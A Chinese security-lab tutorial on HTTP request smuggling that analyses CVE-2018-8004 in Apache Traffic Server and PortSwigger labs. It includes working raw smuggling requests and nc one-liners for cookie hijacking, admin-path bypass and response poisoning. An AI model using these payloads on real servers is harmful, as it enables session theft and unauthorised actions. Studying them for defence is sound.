作者:mengchen@知道創宇404實驗室
日期:2019年10月10日
English version:http://www.bjnorthway.com/1049/
1. 前言
最近在學習研究BlackHat的議題,其中有一篇議題——"HTTP Desync Attacks: Smashing into the Cell Next Door"引起了我極大地興趣,在其中,作者講述了HTTP走私攻擊這一攻擊手段,并且分享了他的一些攻擊案例。我之前從未聽說過這一攻擊方式,決定對這一攻擊方式進行一個完整的學習梳理,于是就有了這一篇文章。
當然了,作為這一攻擊方式的初學者,難免會有一些錯誤,還請諸位斧正。
2. 發展時間線
最早在2005年,由Chaim Linhart,Amit Klein,Ronen Heled和Steve Orrin共同完成了一篇關于HTTP Request Smuggling這一攻擊方式的報告。通過對整個RFC文檔的分析以及豐富的實例,證明了這一攻擊方式的危害性。
在2016年的DEFCON 24 上,@regilero在他的議題——Hiding Wookiees in HTTP中對前面報告中的攻擊方式進行了豐富和擴充。
在2019年的BlackHat USA 2019上,PortSwigger的James Kettle在他的議題——HTTP Desync Attacks: Smashing into the Cell Next Door中針對當前的網絡環境,展示了使用分塊編碼來進行攻擊的攻擊方式,擴展了攻擊面,并且提出了完整的一套檢測利用流程。
3. 產生原因
HTTP請求走私這一攻擊方式很特殊,它不像其他的Web攻擊方式那樣比較直觀,它更多的是在復雜網絡環境下,不同的服務器對RFC標準實現的方式不同,程度不同。這樣一來,對同一個HTTP請求,不同的服務器可能會產生不同的處理結果,這樣就產生了了安全風險。
在進行后續的學習研究前,我們先來認識一下如今使用最為廣泛的HTTP 1.1的協議特性——Keep-Alive&Pipeline。
在HTTP1.0之前的協議設計中,客戶端每進行一次HTTP請求,就需要同服務器建立一個TCP鏈接。而現代的Web網站頁面是由多種資源組成的,我們要獲取一個網頁的內容,不僅要請求HTML文檔,還有JS、CSS、圖片等各種各樣的資源,這樣如果按照之前的協議設計,就會導致HTTP服務器的負載開銷增大。于是在HTTP1.1中,增加了Keep-Alive和Pipeline這兩個特性。
所謂Keep-Alive,就是在HTTP請求中增加一個特殊的請求頭Connection: Keep-Alive,告訴服務器,接收完這次HTTP請求后,不要關閉TCP鏈接,后面對相同目標服務器的HTTP請求,重用這一個TCP鏈接,這樣只需要進行一次TCP握手的過程,可以減少服務器的開銷,節約資源,還能加快訪問速度。當然,這個特性在HTTP1.1中是默認開啟的。
有了Keep-Alive之后,后續就有了Pipeline,在這里呢,客戶端可以像流水線一樣發送自己的HTTP請求,而不需要等待服務器的響應,服務器那邊接收到請求后,需要遵循先入先出機制,將請求和響應嚴格對應起來,再將響應發送給客戶端。
現如今,瀏覽器默認是不啟用Pipeline的,但是一般的服務器都提供了對Pipleline的支持。
為了提升用戶的瀏覽速度,提高使用體驗,減輕服務器的負擔,很多網站都用上了CDN加速服務,最簡單的加速服務,就是在源站的前面加上一個具有緩存功能的反向代理服務器,用戶在請求某些靜態資源時,直接從代理服務器中就可以獲取到,不用再從源站所在服務器獲取。這就有了一個很典型的拓撲結構。

一般來說,反向代理服務器與后端的源站服務器之間,會重用TCP鏈接。這也很容易理解,用戶的分布范圍是十分廣泛,建立連接的時間也是不確定的,這樣TCP鏈接就很難重用,而代理服務器與后端的源站服務器的IP地址是相對固定,不同用戶的請求通過代理服務器與源站服務器建立鏈接,這兩者之間的TCP鏈接進行重用,也就順理成章了。
當我們向代理服務器發送一個比較模糊的HTTP請求時,由于兩者服務器的實現方式不同,可能代理服務器認為這是一個HTTP請求,然后將其轉發給了后端的源站服務器,但源站服務器經過解析處理后,只認為其中的一部分為正常請求,剩下的那一部分,就算是走私的請求,當該部分對正常用戶的請求造成了影響之后,就實現了HTTP走私攻擊。
3.1 CL不為0的GET請求
其實在這里,影響到的并不僅僅是GET請求,所有不攜帶請求體的HTTP請求都有可能受此影響,只因為GET比較典型,我們把它作為一個例子。
在RFC2616中,沒有對GET請求像POST請求那樣攜帶請求體做出規定,在最新的RFC7231的4.3.1節中也僅僅提了一句。
https://tools.ietf.org/html/rfc7231#section-4.3.1
sending a payload body on a GET request might cause some existing implementations to reject the request
假設前端代理服務器允許GET請求攜帶請求體,而后端服務器不允許GET請求攜帶請求體,它會直接忽略掉GET請求中的Content-Length頭,不進行處理。這就有可能導致請求走私。
比如我們構造請求
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n
GET / secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n
前端服務器收到該請求,通過讀取Content-Length,判斷這是一個完整的請求,然后轉發給后端服務器,而后端服務器收到后,因為它不對Content-Length進行處理,由于Pipeline的存在,它就認為這是收到了兩個請求,分別是
第一個
GET / HTTP/1.1\r\n
Host: example.com\r\n
第二個
GET / secret HTTP/1.1\r\n
Host: example.com\r\n
這就導致了請求走私。在本文的4.3.1小節有一個類似于這一攻擊方式的實例,推薦結合起來看下。
3.2 CL-CL
在RFC7230的第3.3.3節中的第四條中,規定當服務器收到的請求中包含兩個Content-Length,而且兩者的值不同時,需要返回400錯誤。
但是總有服務器不會嚴格的實現該規范,假設中間的代理服務器和后端的源站服務器在收到類似的請求時,都不會返回400錯誤,但是中間代理服務器按照第一個Content-Length的值對請求進行處理,而后端源站服務器按照第二個Content-Length的值進行處理。
此時惡意攻擊者可以構造一個特殊的請求
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
中間代理服務器獲取到的數據包的長度為8,將上述整個數據包原封不動的轉發給后端的源站服務器,而后端服務器獲取到的數據包長度為7。當讀取完前7個字符后,后端服務器認為已經讀取完畢,然后生成對應的響應,發送出去。而此時的緩沖區去還剩余一個字母a,對于后端服務器來說,這個a是下一個請求的一部分,但是還沒有傳輸完畢。此時恰巧有一個其他的正常用戶對服務器進行了請求,假設請求如圖所示。
GET /index.html HTTP/1.1\r\n
Host: example.com\r\n
從前面我們也知道了,代理服務器與源站服務器之間一般會重用TCP連接。
這時候正常用戶的請求就拼接到了字母a的后面,當后端服務器接收完畢后,它實際處理的請求其實是
aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n
這時候用戶就會收到一個類似于aGET request method not found的報錯。這樣就實現了一次HTTP走私攻擊,而且還對正常用戶的行為造成了影響,而且后續可以擴展成類似于CSRF的攻擊方式。
但是兩個Content-Length這種請求包還是太過于理想化了,一般的服務器都不會接受這種存在兩個請求頭的請求包。但是在RFC2616的第4.4節中,規定:如果收到同時存在Content-Length和Transfer-Encoding這兩個請求頭的請求包時,在處理的時候必須忽略Content-Length,這其實也就意味著請求包中同時包含這兩個請求頭并不算違規,服務器也不需要返回400錯誤。服務器在這里的實現更容易出問題。
3.3 CL-TE
所謂CL-TE,就是當收到存在兩個請求頭的請求包時,前端代理服務器只處理Content-Length這一請求頭,而后端服務器會遵守RFC2616的規定,忽略掉Content-Length,處理Transfer-Encoding這一請求頭。
chunk傳輸數據格式如下,其中size的值由16進制表示。
[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]
Lab 地址:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
構造數據包
POST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G
連續發送幾次請求就可以獲得該響應。

由于前端服務器處理Content-Length,所以這個請求對于它來說是一個完整的請求,請求體的長度為6,也就是
0\r\n
\r\n
G
當請求包經過代理服務器轉發給后端服務器時,后端服務器處理Transfer-Encoding,當它讀取到0\r\n\r\n時,認為已經讀取到結尾了,但是剩下的字母G就被留在了緩沖區中,等待后續請求的到來。當我們重復發送請求后,發送的請求在后端服務器拼接成了類似下面這種請求。
GPOST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
......
服務器在解析時當然會產生報錯了。
3.4 TE-CL
所謂TE-CL,就是當收到存在兩個請求頭的請求包時,前端代理服務器處理Transfer-Encoding這一請求頭,而后端服務器處理Content-Length請求頭。
Lab地址:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
構造數據包
POST / HTTP/1.1\r\n
Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

由于前端服務器處理Transfer-Encoding,當其讀取到0\r\n\r\n時,認為是讀取完畢了,此時這個請求對代理服務器來說是一個完整的請求,然后轉發給后端服務器,后端服務器處理Content-Length請求頭,當它讀取完12\r\n之后,就認為這個請求已經結束了,后面的數據就認為是另一個請求了,也就是
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
成功報錯。
3.5 TE-TE
TE-TE,也很容易理解,當收到存在兩個請求頭的請求包時,前后端服務器都處理Transfer-Encoding請求頭,這確實是實現了RFC的標準。不過前后端服務器畢竟不是同一種,這就有了一種方法,我們可以對發送的請求包中的Transfer-Encoding進行某種混淆操作,從而使其中一個服務器不處理Transfer-Encoding請求頭。從某種意義上還是CL-TE或者TE-CL。
Lab地址:https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header
構造數據包
POST / HTTP/1.1\r\n
Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

4. HTTP走私攻擊實例——CVE-2018-8004
4.1 漏洞概述
Apache Traffic Server(ATS)是美國阿帕奇(Apache)軟件基金會的一款高效、可擴展的HTTP代理和緩存服務器。
Apache ATS 6.0.0版本至6.2.2版本和7.0.0版本至7.1.3版本中存在安全漏洞。攻擊者可利用該漏洞實施HTTP請求走私攻擊或造成緩存中毒。
在美國國家信息安全漏洞庫中,我們可以找到關于該漏洞的四個補丁,接下來我們詳細看一下。
CVE-2018-8004 補丁列表
- https://github.com/apache/trafficserver/pull/3192
- https://github.com/apache/trafficserver/pull/3201
- https://github.com/apache/trafficserver/pull/3231
- https://github.com/apache/trafficserver/pull/3251
注:雖然漏洞通告中描述該漏洞影響范圍到7.1.3版本,但從github上補丁歸檔的版本中看,在7.1.3版本中已經修復了大部分的漏洞。
4.2 測試環境
4.2.1 簡介
在這里,我們以ATS 7.1.2為例,搭建一個簡單的測試環境。
環境組件介紹
反向代理服務器
IP: 10.211.55.22:80
Ubuntu 16.04
Apache Traffic Server 7.1.2
后端服務器1-LAMP
IP: 10.211.55.2:10085
Apache HTTP Server 2.4.7
PHP 5.5.9
后端服務器2-LNMP
IP: 10.211.55.2:10086
Nginx 1.4.6
PHP 5.5.9
環境拓撲圖

Apache Traffic Server 一般用作HTTP代理和緩存服務器,在這個測試環境中,我將其運行在了本地的Ubuntu虛擬機中,把它配置為后端服務器LAMP&LNMP的反向代理,然后修改本機HOST文件,將域名ats.mengsec.com和lnmp.mengsec,com解析到這個IP,然后在ATS上配置映射,最終實現的效果就是,我們在本機訪問域名ats.mengsec.com通過中間的代理服務器,獲得LAMP的響應,在本機訪問域名lnmp.mengsec,com,獲得LNMP的響應。
為了方便查看請求的數據包,我在LNMP和LAMP的Web目錄下都放置了輸出請求頭的腳本。
LNMP:
<?php
echo 'This is Nginx<br>';
if (!function_exists('getallheaders')) {
function getallheaders() {
$headers = array();
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') {
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
}
return $headers;
}
}
var_dump(getallheaders());
$data = file_get_contents("php://input");
print_r($data);
LAMP:
<?php
echo 'This is LAMP:80<br>';
var_dump(getallheaders());
$data = file_get_contents("php://input");
print_r($data);
4.2.2 搭建過程
在GIthub上下載源碼編譯安裝ATS。
https://github.com/apache/trafficserver/archive/7.1.2.tar.gz
安裝依賴&常用工具。
apt-get install -y autoconf automake libtool pkg-config libmodule-install-perl gcc libssl-dev libpcre3-dev libcap-dev libhwloc-dev libncurses5-dev libcurl4-openssl-dev flex tcl-dev net-tools vim curl wget
然后解壓源碼,進行編譯&安裝。
autoreconf -if
./configure --prefix=/opt/ts-712
make
make install
安裝完畢后,配置反向代理和映射。
編輯records.config配置文件,在這里暫時把ATS的緩存功能關閉。
vim /opt/ts-712/etc/trafficserver/records.config
CONFIG proxy.config.http.cache.http INT 0 # 關閉緩存
CONFIG proxy.config.reverse_proxy.enabled INT 1 # 啟用反向代理
CONFIG proxy.config.url_remap.remap_required INT 1 # 限制ats僅能訪問map表中映射的地址
CONFIG proxy.config.http.server_ports STRING 80 80:ipv6 # 監聽在本地80端口
編輯remap.config配置文件,在末尾添加要映射的規則表。
vim /opt/ts-712/etc/trafficserver/remap.config
map http://lnmp.mengsec.com/ http://10.211.55.2:10086/
map http://ats.mengsec.com/ http://10.211.55.2:10085/
配置完畢后重啟一下服務器使配置生效,我們可以正常訪問來測試一下。
為了準確獲得服務器的響應,我們使用管道符和nc來與服務器建立鏈接。
printf 'GET / HTTP/1.1\r\n'\
'Host:ats.mengsec.com\r\n'\
'\r\n'\
| nc 10.211.55.22 80

可以看到我們成功的訪問到了后端的LAMP服務器。
同樣的可以測試,代理服務器與后端LNMP服務器的連通性。
printf 'GET / HTTP/1.1\r\n'\
'Host:lnmp.mengsec.com\r\n'\
'\r\n'\
| nc 10.211.55.22 80

4.3 漏洞測試
來看下四個補丁以及它的描述
https://github.com/apache/trafficserver/pull/3192 # 3192 如果字段名稱后面和冒號前面有空格,則返回400 https://github.com/apache/trafficserver/pull/3201 # 3201 當返回400錯誤時,關閉鏈接 https://github.com/apache/trafficserver/pull/3231 # 3231 驗證請求中的Content-Length頭 https://github.com/apache/trafficserver/pull/3251 # 3251 當緩存命中時,清空請求體
4.3.1 第一個補丁
https://github.com/apache/trafficserver/pull/3192 # 3192 如果字段名稱后面和冒號前面有空格,則返回400
看介紹是給ATS增加了RFC7230第3.2.4章的實現,
在其中,規定了HTTP的請求包中,請求頭字段與后續的冒號之間不能有空白字符,如果存在空白字符的話,服務器必須返回400,從補丁中來看的話,在ATS 7.1.2中,并沒有對該標準進行一個詳細的實現。當ATS服務器接收到的請求中存在請求字段與:之間存在空格的字段時,并不會對其進行修改,也不會按照RFC標準所描述的那樣返回400錯誤,而是直接將其轉發給后端服務器。
而當后端服務器也沒有對該標準進行嚴格的實現時,就有可能導致HTTP走私攻擊。比如Nginx服務器,在收到請求頭字段與冒號之間存在空格的請求時,會忽略該請求頭,而不是返回400錯誤。
在這時,我們可以構造一個特殊的HTTP請求,進行走私。
GET / HTTP/1.1
Host: lnmp.mengsec.com
Content-Length : 56
GET / HTTP/1.1
Host: lnmp.mengsec.com
attack: 1
foo:

很明顯,請求包中下面的數據部分在傳輸過程中被后端服務器解析成了請求頭。
來看下Wireshark中的數據包,ATS在與后端Nginx服務器進行數據傳輸的過程中,重用了TCP連接。

只看一下請求,如圖所示:

陰影部分為第一個請求,剩下的部分為第二個請求。
在我們發送的請求中,存在特殊構造的請求頭Content-Length : 56,56就是后續數據的長度。
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
在數據的末尾,不存在\r\n這個結尾。
當我們的請求到達ATS服務器時,因為ATS服務器可以解析Content-Length : 56這個中間存在空格的請求頭,它認為這個請求頭是有效的。這樣一來,后續的數據也被當做這個請求的一部分。總的來看,對于ATS服務器,這個請求就是完整的一個請求。
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
Content-Length : 56\r\n
\r\n
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
ATS收到這個請求之后,根據Host字段的值,將這個請求包轉發給對應的后端服務器。在這里是轉發到了Nginx服務器上。
而Nginx服務器在遇到類似于這種Content-Length : 56的請求頭時,會認為其是無效的,然后將其忽略掉。但并不會返回400錯誤,對于Nginx來說,收到的請求為
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
\r\n
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
因為最后的末尾沒有\r\n,這就相當于收到了一個完整的GET請求和一個不完整的GET請求。
完整的:
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
\r\n
不完整的:
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
在這時,Nginx就會將第一個請求包對應的響應發送給ATS服務器,然后等待后續的第二個請求傳輸完畢再進行響應。
當ATS轉發的下一個請求到達時,對于Nginx來說,就直接拼接到了剛剛收到的那個不完整的請求包的后面。也就相當于
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo: GET / HTTP/1.1\r\n
Host: 10.211.55.2:10086\r\n
X-Forwarded-For: 10.211.55.2\r\n
Via: http/1.1 mengchen-ubuntu[3ff3687d-fa2a-4198-bc9a-0e98786adc62] (ApacheTrafficServer/7.1.2)\r\n
然后Nginx將這個請求包的響應發送給ATS服務器,我們收到的響應中就存在了attack: 1和foo: GET / HTTP/1.1這兩個鍵值對了。
那這會造成什么危害呢?可以想一下,如果ATS轉發的第二個請求不是我們發送的呢?讓我們試一下。
假設在Nginx服務器下存在一個admin.php,代碼內容如下:
<?php
if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == 1){
echo "You are Admin\n";
if(isset($_GET['del'])){
echo 'del user ' . $_GET['del'];
}
}else{
echo "You are not Admin";
}
由于HTTP協議本身是無狀態的,很多網站都是使用Cookie來判斷用戶的身份信息。通過這個漏洞,我們可以盜用管理員的身份信息。在這個例子中,管理員的請求中會攜帶這個一個Cookie的鍵值對admin=1,當擁有管理員身份時,就能通過GET方式傳入要刪除的用戶名稱,然后刪除對應的用戶。
在前面我們也知道了,通過構造特殊的請求包,可以使Nginx服務器把收到的某個請求作為上一個請求的一部分。這樣一來,我們就能盜用管理員的Cookie了。
構造數據包
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
Content-Length : 78\r\n
\r\n
GET /admin.php?del=mengchen HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
然后是管理員的正常請求
GET / HTTP/1.1
Host: lnmp.mengsec.com
Cookie: admin=1
讓我們看一下效果如何。

在Wireshark的數據包中看的很直觀,陰影部分為管理員發送的正常請求。

在Nginx服務器上拼接到了上一個請求中, 成功刪除了用戶mengchen。
4.3.2 第二個補丁
https://github.com/apache/trafficserver/pull/3201 # 3201 當返回400錯誤時,關閉連接
這個補丁說明了,在ATS 7.1.2中,如果請求導致了400錯誤,建立的TCP鏈接也不會關閉。在regilero的對CVE-2018-8004的分析文章中,說明了如何利用這個漏洞進行攻擊。
printf 'GET / HTTP/1.1\r\n'\
'Host: ats.mengsec.com\r\n'\
'aa: \0bb\r\n'\
'foo: bar\r\n'\
'GET /2333 HTTP/1.1\r\n'\
'Host: ats.mengsec.com\r\n'\
'\r\n'\
| nc 10.211.55.22 80
一共能夠獲得2個響應,都是400錯誤。

ATS在解析HTTP請求時,如果遇到NULL,會導致一個截斷操作,我們發送的這一個請求,對于ATS服務器來說,算是兩個請求。
第一個
GET / HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
aa:
第二個
bb\r\n
foo: bar\r\n
GET /2333 HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
\r\n
第一個請求在解析的時候遇到了NULL,ATS服務器響應了第一個400錯誤,后面的bb\r\n成了后面請求的開頭,不符合HTTP請求的規范,這就響應了第二個400錯誤。
再進行修改下進行測試
printf 'GET / HTTP/1.1\r\n'\
'Host: ats.mengsec.com\r\n'\
'aa: \0bb\r\n'\
'GET /1.html HTTP/1.1\r\n'\
'Host: ats.mengsec.com\r\n'\
'\r\n'\
| nc 10.211.55.22 80

一個400響應,一個200響應,在Wireshark中也能看到,ATS把第二個請求轉發給了后端Apache服務器。

那么由此就已經算是一個HTTP請求拆分攻擊了,
GET / HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
aa: \0bb\r\n
GET /1.html HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
\r\n
但是這個請求包,怎么看都是兩個請求,中間的GET /1.html HTTP/1.1\r\n不符合HTTP數據包中請求頭Name:Value的格式。在這里我們可以使用absoluteURI,在RFC2616中第5.1.2節中規定了它的詳細格式。
我們可以使用類似GET http://www.w3.org/pub/WWW/TheProject.html HTTP/1.1的請求頭進行請求。
構造數據包
GET /400 HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
aa: \0bb\r\n
GET http://ats.mengsec.com/1.html HTTP/1.1\r\n
\r\n
GET /404 HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
\r\n
printf 'GET /400 HTTP/1.1\r\n'\
'Host: ats.mengsec.com\r\n'\
'aa: \0bb\r\n'\
'GET http://ats.mengsec.com/1.html HTTP/1.1\r\n'\
'\r\n'\
'GET /404 HTTP/1.1\r\n'\
'Host: ats.mengsec.com\r\n'\
'\r\n'\
| nc 10.211.55.22 80
本質上來說,這是兩個HTTP請求,第一個為
GET /400 HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
aa: \0bb\r\n
GET http://ats.mengsec.com/1.html HTTP/1.1\r\n
\r\n
其中GET http://ats.mengsec.com/1.html HTTP/1.1為名為GET http,值為//ats.mengsec.com/1.html HTTP/1.1的請求頭。
第二個為
GET /404 HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
\r\n
當該請求發送給ATS服務器之后,我們可以獲取到三個HTTP響應,第一個為400,第二個為200,第三個為404。多出來的那個響應就是ATS中間對服務器1.html的請求的響應。

根據HTTP Pipepline的先入先出規則,假設攻擊者向ATS服務器發送了第一個惡意請求,然后受害者向ATS服務器發送了一個正常的請求,受害者獲取到的響應,就會是攻擊者發送的惡意請求中的GET http://evil.mengsec.com/evil.html HTTP/1.1中的內容。這種攻擊方式理論上是可以成功的,但是利用條件還是太苛刻了。
對于該漏洞的修復方式,ATS服務器選擇了,當遇到400錯誤時,關閉TCP鏈接,這樣無論后續有什么請求,都不會對其他用戶造成影響了。
4.3.3 第三個補丁
https://github.com/apache/trafficserver/pull/3231 # 3231 驗證請求中的Content-Length頭
在該補丁中,bryancall 的描述是
當Content-Length請求頭不匹配時,響應400,刪除具有相同Content-Length請求頭的重復副本,如果存在Transfer-Encoding請求頭,則刪除Content-Length請求頭。
從這里我們可以知道,ATS 7.1.2版本中,并沒有對RFC2616的標準進行完全實現,我們或許可以進行CL-TE走私攻擊。
構造請求
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G
多次發送后就能獲得405 Not Allowed響應。

我們可以認為,后續的多個請求在Nginx服務器上被組合成了類似如下所示的請求。
GGET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
......
對于Nginx來說,GGET這種請求方法是不存在的,當然會返回405報錯了。
接下來嘗試攻擊下admin.php,構造請求
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
Content-Length: 83\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /admin.php?del=mengchen HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
多次請求后獲得了響應You are not Admin,說明服務器對admin.php進行了請求。

如果此時管理員已經登錄了,然后想要訪問一下網站的主頁。他的請求為
GET / HTTP/1.1
Host: lnmp.mengsec.com
Cookie: admin=1
效果如下

我們可以看一下Wireshark的流量,其實還是很好理解的。

陰影所示部分就是管理員發送的請求,在Nginx服務器中組合進入了上一個請求中,就相當于
GET /admin.php?del=mengchen HTTP/1.1
Host: lnmp.mengsec.com
attack: 1
foo: GET / HTTP/1.1
Host: 10.211.55.2:10086
Cookie: admin=1
X-Forwarded-For: 10.211.55.2
Via: http/1.1 mengchen-ubuntu[e9365059-ad97-40c8-afcb-d857b14675f6] (ApacheTrafficServer/7.1.2)
攜帶著管理員的Cookie進行了刪除用戶的操作。這個與前面4.3.1中的利用方式在某種意義上其實是相同的。
4.3.4 第四個補丁
https://github.com/apache/trafficserver/pull/3251 # 3251 當緩存命中時,清空請求體
當時看這個補丁時,感覺是一臉懵逼,只知道應該和緩存有關,但一直想不到哪里會出問題。看代碼也沒找到,在9月17號的時候regilero的分析文章出來才知道問題在哪。
當緩存命中之后,ATS服務器會忽略請求中的Content-Length請求頭,此時請求體中的數據會被ATS當做另外的HTTP請求來處理,這就導致了一個非常容易利用的請求走私漏洞。
在進行測試之前,把測試環境中ATS服務器的緩存功能打開,對默認配置進行一下修改,方便我們進行測試。
vim /opt/ts-712/etc/trafficserver/records.config
CONFIG proxy.config.http.cache.http INT 1 # 開啟緩存功能
CONFIG proxy.config.http.cache.ignore_client_cc_max_age INT 0 # 使客戶端Cache-Control頭生效,方便控制緩存過期時間
CONFIG proxy.config.http.cache.required_headers INT 1 # 當收到Cache-control: max-age 請求頭時,就對響應進行緩存
然后重啟服務器即可生效。
為了方便測試,我在Nginx網站目錄下寫了一個生成隨機字符串的腳本random_str.php
function randomkeys($length){
$output='';
for ($a = 0; $a<$length; $a++) {
$output .= chr(mt_rand(33, 126));
}
return $output;
}
echo "get random string: ";
echo randomkeys(8);
構造請求包
GET /1.html HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
Cache-control: max-age=10\r\n
Content-Length: 56\r\n
\r\n
GET /random_str.php HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
\r\n
第一次請求

第二次請求

可以看到,當緩存命中時,請求體中的數據變成了下一個請求,并且成功的獲得了響應。
GET /random_str.php HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
\r\n
而且在整個請求中,所有的請求頭都是符合RFC規范的,這就意味著,在ATS前方的代理服務器,哪怕嚴格實現了RFC標準,也無法避免該攻擊行為對其他用戶造成影響。
ATS的修復措施也是簡單粗暴,當緩存命中時,把整個請求體清空就好了。
5. 其他攻擊實例
在前面,我們已經看到了不同種代理服務器組合所產生的HTTP請求走私漏洞,也成功模擬了使用HTTP請求走私這一攻擊手段來進行會話劫持,但它能做的不僅僅是這些,在PortSwigger中提供了利用HTTP請求走私攻擊的實驗,可以說是很典型了。
5.1 繞過前端服務器的安全控制
在這個網絡環境中,前端服務器負責實現安全控制,只有被允許的請求才能轉發給后端服務器,而后端服務器無條件的相信前端服務器轉發過來的全部請求,對每個請求都進行響應。因此我們可以利用HTTP請求走私,將無法訪問的請求走私給后端服務器并獲得響應。在這里有兩個實驗,分別是使用CL-TE和TE-CL繞過前端的訪問控制。
5.1.1 使用CL-TE繞過前端服務器安全控制
實驗的最終目的是獲取admin權限并刪除用戶carlos
我們直接訪問/admin,會返回提示Path /admin is blocked,看樣子是被前端服務器阻止了,根據題目的提示CL-TE,我們可以嘗試構造數據包
POST / HTTP/1.1
Host: ac1b1f991edef1f1802323bc00e10084.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: session=Iegl0O4SGnwlddlFQzxduQdt8NwqWsKI
Content-Length: 38
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
foo: bar
進行多次請求之后,我們可以獲得走私過去的請求的響應。

提示只有是以管理員身份訪問或者在本地登錄才可以訪問/admin接口。
在下方走私的請求中,添加一個Host: localhost請求頭,然后重新進行請求,一次不成功多試幾次。
如圖所示,我們成功訪問了admin界面。也知道了如何刪除一個用戶,也就是對/admin/delete?username=carlos進行請求。

修改下走私的請求包再發送幾次即可成功刪除用戶carlos。

需要注意的一點是在這里,不需要我們對其他用戶造成影響,因此走私過去的請求也必須是一個完整的請求,最后的兩個\r\n不能丟棄。
5.1.1 使用TE-CL繞過前端服務器安全控制
這個實驗與上一個就十分類似了,具體攻擊過程就不在贅述了。

5.2 獲取前端服務器重寫請求字段
在有的網絡環境下,前端代理服務器在收到請求后,不會直接轉發給后端服務器,而是先添加一些必要的字段,然后再轉發給后端服務器。這些字段是后端服務器對請求進行處理所必須的,比如:
- 描述TLS連接所使用的協議和密碼
- 包含用戶IP地址的XFF頭
- 用戶的會話令牌ID
總之,如果不能獲取到代理服務器添加或者重寫的字段,我們走私過去的請求就不能被后端服務器進行正確的處理。那么我們該如何獲取這些值呢。PortSwigger提供了一個很簡單的方法,主要是三大步驟:
- 找一個能夠將請求參數的值輸出到響應中的POST請求
- 把該POST請求中,找到的這個特殊的參數放在消息的最后面
